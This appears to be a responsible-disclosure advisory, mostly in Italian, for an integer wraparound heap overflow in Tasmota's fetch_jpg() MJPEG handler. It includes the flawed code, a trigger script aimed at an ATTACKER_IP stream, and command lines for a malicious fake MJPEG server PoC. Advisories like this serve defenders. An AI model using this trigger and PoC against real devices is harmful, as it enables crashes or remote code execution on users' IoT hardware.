
CVE-2026-38427 — Wraparound di interi → Overflow del buffer heap in Tasmota fetch_jpg() uint16_t (Tasmota <= 15.3.0.3)
CVE: CVE-2026-38427
Severity: Critical (CVSS 9.8)
Product: Arendst Tasmota
Affected Version: <= 15.3.0.3
File: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Function: fetch_jpg() — case 2 (MJPEG frame fetch)
Author: Saidakbarxon Maxsudxonov
Disclosure: Responsible — reported to Tasmota before publication
Esiste una vulnerabilità di integer wraparound su uint16_t nella funzione fetch_jpg() del driver scripter di Tasmota. Quando un dispositivo Tasmota recupera frame MJPEG da un server controllato dall'attaccante, il valore dell'header Content-Length viene letto in una variabile uint16_t tramite atoi(). I valori superiori a 65535 vengono avvolti silenziosamente (ad esempio, 65537 → 1), causando l'allocazione di un buffer heap drasticamente sottodimensionato. Il dispositivo legge quindi solo il numero di byte avvolto dallo stream, lasciando il resto nel buffer dello stream, causando corruzione dello stato heap/stream che porta a un crash (DoS) o a potenziale esecuzione di codice remoto.
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
// Case 2: fetch next MJPEG frame
char inbuff[64];
stream.readBytesUntil('\n', inbuff, sizeof(inbuff)); // reads "Content-Length: 70000"
char *cp = strchr(inbuff, ':');
uint16_t size = 0;
if (cp) {
size = atoi(cp + 1); // atoi() returns int 70000
// IMPLICIT TRUNCATION: uint16_t = 70000 & 0xFFFF = 4464
}
uint8_t *buff = (uint8_t *)special_malloc(size); // malloc(4464) — too small!
if (buff) {
stream.readBytes(buff, size); // reads only 4464 bytes
// 65536 bytes remain in stream → corruption
}
Un attaccante che riesce a far connettere un dispositivo Tasmota al proprio server HTTP (tramite uno script Tasmota dannoso o MITM) può inviare frame MJPEG con valori Content-Length superiori a 65535. Il dispositivo:
Trigger tramite script Tasmota:
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)
>1
=fetchjp(2,0,0,1)
Il PoC esegue un finto server HTTP MJPEG che invia frame con valori Content-Length dannosi:
python3 CVE-2026-38427_poc.py --port 8889 --cl 65537
python3 CVE-2026-38427_poc.py --port 8889 --cl 131072
Vedere CVE-2026-38427_poc.py per l'implementazione completa.
| Content-Length (header) | uint16_t value | Buffer allocated | Bytes unread |
|---|
| 65536 | 0 | 0 (skipped) | 65536 |
| 65537 | 1 | 1 byte | 65536 |
| 70000 | 4464 | 4464 bytes | 65536 |
| 131072 | 0 | 0 (skipped) | 131072 |